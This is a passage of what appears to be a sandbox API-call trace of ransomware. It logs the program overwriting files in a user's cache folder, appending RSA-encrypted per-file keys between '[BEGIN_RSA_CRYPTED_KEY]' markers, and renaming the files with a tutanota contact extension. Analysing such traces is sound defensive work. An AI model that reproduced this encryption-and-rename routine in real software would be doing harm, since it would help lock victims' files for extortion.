pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.526] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.526] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="O0b3oOATLevub/O8xHzp31nl4VTcrDjUrK89JPoMTXId6L+hcBRGMFeMdy16Ulg0\nj3apjJMqGM+JSmDtpB4hrExmkHkWw7qjyGmbx10sBnitvk2cyZmKe+GtxOHiYHWM\ncUgRZXXXt3KcDfwtlaDXBBaAyWtvBE32HdVgujRzRxELEEixnJ9mjYbyVAK/KG5b\naM86GmL5GK+h4+D4sl8QN7k7HKMwjoscdeYh5JBFDdenNwPzm4lGWuDZjHLHCt6+\nuKYtU8056wBrHujuDUOli4uqkW3rwRKsAtU3aCzMYWxmeZXcyxu+6IBJLJP9bWUs\nQgV0uu2MCCbG9mrtzKo1HA==\n", pcchString=0x2e3f9a8) returned 1 [0228.526] WriteFile (in: hFile=0x1988, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.526] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.526] WriteFile (in: hFile=0x1988, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.526] CloseHandle (hObject=0x1988) returned 1 [0228.526] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0228.526] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\564654d8-f181-4d50-84f0-95228e86ec66" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\564654d8-f181-4d50-84f0-95228e86ec66"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\564654d8-f181-4d50-84f0-95228e86ec66.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\564654d8-f181-4d50-84f0-95228e86ec66.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0228.530] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0228.530] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6258 | out: hHeap=0x570000) returned 1 [0228.530] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60de60 | out: hHeap=0x570000) returned 1 [0228.530] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e428 | out: hHeap=0x570000) returned 1 [0228.530] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.530] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1fc7d273-b221-48f6-9872-22321b90204a", dwFileAttributes=0x80) returned 1 [0228.530] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dae8 | out: hHeap=0x570000) returned 1 [0228.530] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1fc7d273-b221-48f6-9872-22321b90204a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1fc7d273-b221-48f6-9872-22321b90204a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1988 [0228.531] GetFileSizeEx (in: hFile=0x1988, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2492) returned 1 [0228.531] ReadFile (in: hFile=0x1988, lpBuffer=0x66e548, nNumberOfBytesToRead=0x9bc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x9bc, lpOverlapped=0x0) returned 1 [0228.692] SetFilePointer (in: hFile=0x1988, lDistanceToMove=-2492, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.692] WriteFile (in: hFile=0x1988, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x9bc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9bc, lpOverlapped=0x0) returned 1 [0228.692] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0228.692] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x313e008 | out: hHeap=0x570000) returned 1 [0228.692] SetFilePointer (in: hFile=0x1988, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9bc [0228.692] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.692] WriteFile (in: hFile=0x1988, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.692] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.692] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.692] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.693] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zQmUmLwQavAIaqXVkMOyOuvUutMr4tyXmS2arDoTbqll1AcbOYe63/bXe0SnzCej\nQQGGw67Aa7LshhQw2g2pVS4CUEgE5mEAAVBFsMyiN2vE3xIw0Dvdz6dXUFuwv2S9\nqK0OMmrmP6GITfUhoDOhL0a4BudbqUgAWhHa/plVrriszuuuBRp7CpbjCCljxwhi\nI0BnZ24ixSI8PM7hbYO8bW104f0tTiFXMbnS1olAhWXB+2+35f7485xpcILTUt8d\nMZo7RTLMdsakPT0tNGJqInlkpQcAJyXKXXjXyPkItpstbsXMTPsolLFMUjX+BFn2\nw4xPTPhsZSlWIU6CJe1mSg==\n", pcchString=0x2e3f9a8) returned 1 [0228.693] WriteFile (in: hFile=0x1988, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.693] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.693] WriteFile (in: hFile=0x1988, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.693] CloseHandle (hObject=0x1988) returned 1 [0228.693] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0228.693] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1fc7d273-b221-48f6-9872-22321b90204a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1fc7d273-b221-48f6-9872-22321b90204a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1fc7d273-b221-48f6-9872-22321b90204a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1fc7d273-b221-48f6-9872-22321b90204a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0228.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0228.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee63e8 | out: hHeap=0x570000) returned 1 [0228.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0228.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e678 | out: hHeap=0x570000) returned 1 [0228.695] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.695] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1dcea220-55cd-470a-a680-6d186485df4e", dwFileAttributes=0x80) returned 1 [0228.696] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e678 | out: hHeap=0x570000) returned 1 [0228.696] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1dcea220-55cd-470a-a680-6d186485df4e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1dcea220-55cd-470a-a680-6d186485df4e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1988 [0228.696] GetFileSizeEx (in: hFile=0x1988, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=110474) returned 1 [0228.697] ReadFile (in: hFile=0x1988, lpBuffer=0x3393008, nNumberOfBytesToRead=0x1af8a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3393008*, lpNumberOfBytesRead=0x2e3f9b4*=0x1af8a, lpOverlapped=0x0) returned 1 [0229.196] SetFilePointer (in: hFile=0x1988, lDistanceToMove=-110474, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0229.196] WriteFile (in: hFile=0x1988, lpBuffer=0x33adfa0*, nNumberOfBytesToWrite=0x1af8a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33adfa0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1af8a, lpOverlapped=0x0) returned 1 [0229.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3393008 | out: hHeap=0x570000) returned 1 [0229.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33adfa0 | out: hHeap=0x570000) returned 1 [0229.197] SetFilePointer (in: hFile=0x1988, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1af8a [0229.197] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.197] WriteFile (in: hFile=0x1988, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.197] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0229.197] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0229.197] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0229.197] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="U7ifHebmZR7CgpejjKaDQVawWp14GjUEBt5GuIQ2PlukRPc+XobWO/kUm1W4W/86\n3vlodLosuPNehd+v3Pegy+gX2x7QepQydMq55qAwIlH+Mgv4dzwQ2rGCw16ts9l8\neRZRgK9h66b9Xw1vbD94rlhHkOkSn6v96N90aKKNKNSyW0RCuV1/SpwnoUMILUMD\nu6xQI/k+sU6v8e4BHA323MlvcYBJ6PgkX0Sme64V8NBMJJUXf01vAop6XVjQHMno\n+0rz+AVG/8d2VCmhGurKlQTCGhAsK/e1zeMYcXZ5DEt3h9Qaf7h8oo7RfPcVWFqH\noWogirwCeIDcPT3eJdFFKw==\n", pcchString=0x2e3f9a8) returned 1 [0229.197] WriteFile (in: hFile=0x1988, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0229.197] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.197] WriteFile (in: hFile=0x1988, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.197] CloseHandle (hObject=0x1988) returned 1 [0229.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0229.198] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1dcea220-55cd-470a-a680-6d186485df4e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1dcea220-55cd-470a-a680-6d186485df4e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1dcea220-55cd-470a-a680-6d186485df4e.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1dcea220-55cd-470a-a680-6d186485df4e.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0229.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0229.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee62d0 | out: hHeap=0x570000) returned 1 [0229.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 1 [0229.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0229.200] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0229.200] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1bec6d4a-6687-4295-b59f-5b3c048ab97c", dwFileAttributes=0x80) returned 1 [0229.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e678 | out: hHeap=0x570000) returned 1 [0229.201] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1bec6d4a-6687-4295-b59f-5b3c048ab97c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1bec6d4a-6687-4295-b59f-5b3c048ab97c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1988 [0229.202] GetFileSizeEx (in: hFile=0x1988, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=177812) returned 1 [0229.202] ReadFile (in: hFile=0x1988, lpBuffer=0x3393008, nNumberOfBytesToRead=0x2b694, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3393008*, lpNumberOfBytesRead=0x2e3f9b4*=0x2b694, lpOverlapped=0x0) returned 1 [0229.213] SetFilePointer (in: hFile=0x1988, lDistanceToMove=-177812, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0229.214] WriteFile (in: hFile=0x1988, lpBuffer=0x33be6a8*, nNumberOfBytesToWrite=0x2b694, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33be6a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2b694, lpOverlapped=0x0) returned 1 [0229.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3393008 | out: hHeap=0x570000) returned 1 [0229.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33be6a8 | out: hHeap=0x570000) returned 1 [0229.214] SetFilePointer (in: hFile=0x1988, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2b694 [0229.214] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.214] WriteFile (in: hFile=0x1988, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.214] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0229.214] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0229.215] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0229.215] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ckai9hITY2ZN4dXLEIy2PAEhf6F5J/r3+vUIcOYK7LhtX2M9UR5oQFZQWwDYb3u2\n9l11dwjp08dgNgQmDxT7a0p62rOxukXAm0zoYHgGcsq1kirFnMgNQaI2s1ponM3/\nXPkT3qnYngErN29RszGRMguqRwadZG3PIl9wigkBPdrkkDonlOHxaBB4IkKX11MC\nqyuykFcRXf8LlGsyfqNvASl9Aq5EGui9WA8EO1Gxu/PPJu785N/mQoVlSJIJiqzx\nt1wi22rpTfWD3Ph6bhIpUvHRn18VN9ViH2djln8s1KjWtcFcuMT+9+zl551gRekr\nNE9iEDQnN0L/CQHTfwwfHQ==\n", pcchString=0x2e3f9a8) returned 1 [0229.215] WriteFile (in: hFile=0x1988, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0229.215] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.215] WriteFile (in: hFile=0x1988, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.215] CloseHandle (hObject=0x1988) returned 1 [0229.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0229.215] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1bec6d4a-6687-4295-b59f-5b3c048ab97c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1bec6d4a-6687-4295-b59f-5b3c048ab97c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1bec6d4a-6687-4295-b59f-5b3c048ab97c.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1bec6d4a-6687-4295-b59f-5b3c048ab97c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0229.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0229.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6168 | out: hHeap=0x570000) returned 1 [0229.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0229.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e1d8 | out: hHeap=0x570000) returned 1 [0229.217] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0229.217] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1bae5997-e878-4247-b7f8-d49affc6cff5", dwFileAttributes=0x80) returned 1 [0229.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e678 | out: hHeap=0x570000) returned 1 [0229.217] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1bae5997-e878-4247-b7f8-d49affc6cff5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\1bae5997-e878-4247-b7f8-d49affc6cff5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1988 [0229.218] GetFileSizeEx (in: hFile=0x1988, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4483) returned 1 [0229.218] ReadFile (in: hFile=0x1988, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x1183, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1183, lpOverlapped=0x0) returned 1 [0229.219] SetFilePointer (in: hFile=0x1988, lDistanceToMove=-4483, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0229.219] WriteFile (in: hFile=0x1988, lpBuffer=0x2f35020*, nNumberOfBytesToWrite=0x1183, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1183, lpOverlapped=0x0) returned 1 [0229.219] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0229.219] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f35020 | out: hHeap=0x570000) returned 1 [0229.220] SetFilePointer (in: hFile=0x1988, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1183 [0229.220] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.220] WriteFile (in: hFile=0x1988, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.220] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0229.220] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0229.220] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0229.220] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="bTWJeWvgphEF7SpaAPNTAo7Gvy6hJm3SEcdmKSgDzQzzl/hKqCE//ZB3nX2uIS2m\nIZ8H6jrcg9+MD/drMscLkvT2y1QHv72J9MH+qeoFNs1gmjNF5pcptTbCFekfxTGG\nWRTlzCQfTs0TQMkCRbdOkdzrcTlvmHGEmt7T49RwPq0vDpGIx7vEwfxPNyjsE/BH\n+n5EKnUs95KQBWrapqQfw+dauuCqCU+/bTLeG5oZC35skvf7/ytZVEEbs1J/hWQT\nziPJhivcPbJ8fsp51mlVK2Ze0K/YXLsOavaDNjk21ErdlO5Is9AF/gtbOmdLqMR4\nY+xu7NcNSamizYb4YgKhtQ==\n", pcchString=0x2e3f9a8) returned 1 [0229.220] WriteFile (in: hFile=0x1988, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0229.220] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.220] WriteFile (in: hFile=0x1988, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 